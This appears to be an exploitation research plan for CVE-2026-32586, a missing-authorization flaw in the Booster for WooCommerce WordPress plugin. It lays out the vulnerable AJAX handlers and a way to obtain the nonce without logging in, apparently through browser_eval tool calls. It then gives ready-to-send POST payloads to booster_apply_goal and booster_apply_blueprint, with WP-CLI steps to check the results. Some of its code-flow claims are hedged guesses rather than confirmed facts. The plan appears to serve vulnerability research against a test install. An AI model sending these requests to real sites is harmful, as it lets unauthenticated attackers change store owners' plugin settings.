Exploitation Research Plan - CVE-2026-32586

1. Vulnerability Summary

The Booster for WooCommerce plugin (versions < 7.11.3) is vulnerable to Missing Authorization in its onboarding functionality. The plugin registers several AJAX handlers in includes/admin/class-booster-onboarding.php to manage "goals" and "blueprints" (pre-defined configuration sets). These handlers, specifically booster_apply_goal and booster_apply_blueprint, lack sufficient capability checks (e.g., current_user_can( 'manage_options' )). In affected versions, these were likely registered with wp_ajax_nopriv_ or the nonce/authorization logic was flawed, allowing unauthenticated attackers to modify plugin settings by "applying" onboarding goals that enable modules and change configuration options.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: booster_apply_goal (or booster_apply_blueprint)
• HTTP Method: POST
• Parameters:
  • action: booster_apply_goal
  • goal_id: The ID of the goal to apply (e.g., grow_sales, work_smarter).
  • nonce: A security nonce for the action booster_onboarding_nonce.
• Authentication: Unauthenticated (per CVE description, implying wp_ajax_nopriv_ availability or total lack of check).
• Preconditions: The plugin must be active. The target goal_id must exist in includes/admin/onboarding-map.php.

3. Code Flow

1. Entry Point: A POST request is sent to admin-ajax.php with action=booster_apply_goal.
2. Hook: The request triggers the handler registered in Booster_Onboarding::__construct():

   add_action( 'wp_ajax_booster_apply_goal', array( $this, 'ajax_apply_goal' ) );
   // In vulnerable versions, the following was likely also present:
   // add_action( 'wp_ajax_nopriv_booster_apply_goal', array( $this, 'ajax_apply_goal' ) );
   

3. Processing: ajax_apply_goal is called. It retrieves the goal_id from $_POST['goal_id'].
4. Lookup: The function looks up the goal in $this->onboarding_map (loaded from includes/admin/onboarding-map.php).
5. Sink: The function iterates through the modules array for the selected goal and calls update_option() for each setting defined in the map.
   • Example (grow_sales): update_option( 'wcj_sales_notifications_enabled', 'yes' ).
6. Missing Check: The function fails to verify if the user has manage_options or manage_woocommerce capabilities before executing the option updates.

4. Nonce Acquisition Strategy

The nonce is generated in includes/admin/class-booster-onboarding.php within the enqueue_scripts function:
'nonce' => wp_create_nonce( 'booster_onboarding_nonce' )

To obtain this nonce unauthenticated:

1. Identify Exposure: Booster often enqueues assets on the frontend if certain modules are active. The Booster_Onboarding script is enqueued if $this->should_show_modal() returns true (which is true if the onboarding has never been completed).
2. Shortcode Method: If not enqueued on the homepage, create a page with a Booster shortcode that might trigger general script enqueuing.
   • wp post create --post_type=page --post_status=publish --post_content='[wcj_currency_select]' --post_title='Booster Test'
3. Extraction:
   • Use browser_navigate to visit the site or the created page.
   • Use browser_eval to extract the nonce from the boosterOnboarding global object:
     browser_eval("window.boosterOnboarding?.nonce")
4. Bypass Check: If no nonce is found, test the endpoint with a dummy nonce; the Missing Authorization may extend to a missing check_ajax_referer call entirely.

5. Exploitation Strategy

We will attempt to enable the Sales Notifications module by applying the grow_sales goal.

Step 1: Extract Nonce (if required)

Navigate to the homepage and check for the boosterOnboarding object.

// Browser Eval
return window.boosterOnboarding ? window.boosterOnboarding.nonce : "not_found";

Step 2: Send Exploit Request

Submit a POST request to admin-ajax.php.

• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=booster_apply_goal&goal_id=grow_sales&nonce=<NONCE_FROM_STEP_1>
  

Step 3: Verify Success

Applying grow_sales sets wcj_sales_notifications_enabled to yes.

6. Test Data Setup

1. Install Plugin: Booster for WooCommerce < 7.11.3.
2. Fresh Install: Ensure the booster_free_onboarding option is empty so should_show_modal() returns true.
3. Target Setting: Verify the initial state of the target option is not yes:
   wp option get wcj_sales_notifications_enabled (Should return false/error).

7. Expected Results

• The AJAX request should return a JSON success response (e.g., {"success": true}).
• The WordPress database will be updated.
• The module Sales Notifications will be enabled.

8. Verification Steps

After the HTTP request, use WP-CLI to check the option state:

wp option get wcj_sales_notifications_enabled
# Expected output: yes

9. Alternative Approaches

If booster_apply_goal fails, try booster_apply_blueprint:

• Payload: action=booster_apply_blueprint&blueprint_id=ecommerce_starter&nonce=<NONCE>
• Expected Result: Multiple options defined in onboarding-blueprints.php will be updated, such as wcj_order_numbers_enabled or wcj_pdf_invoicing_enabled.

If the booster_onboarding_nonce is strictly enforced and not leaked to unauthenticated users, check for other AJAX actions registered in the constructor that might have been overlooked:

• booster_log_onboarding_event: While lower impact, if this also lacks authorization, it confirms the vulnerability pattern.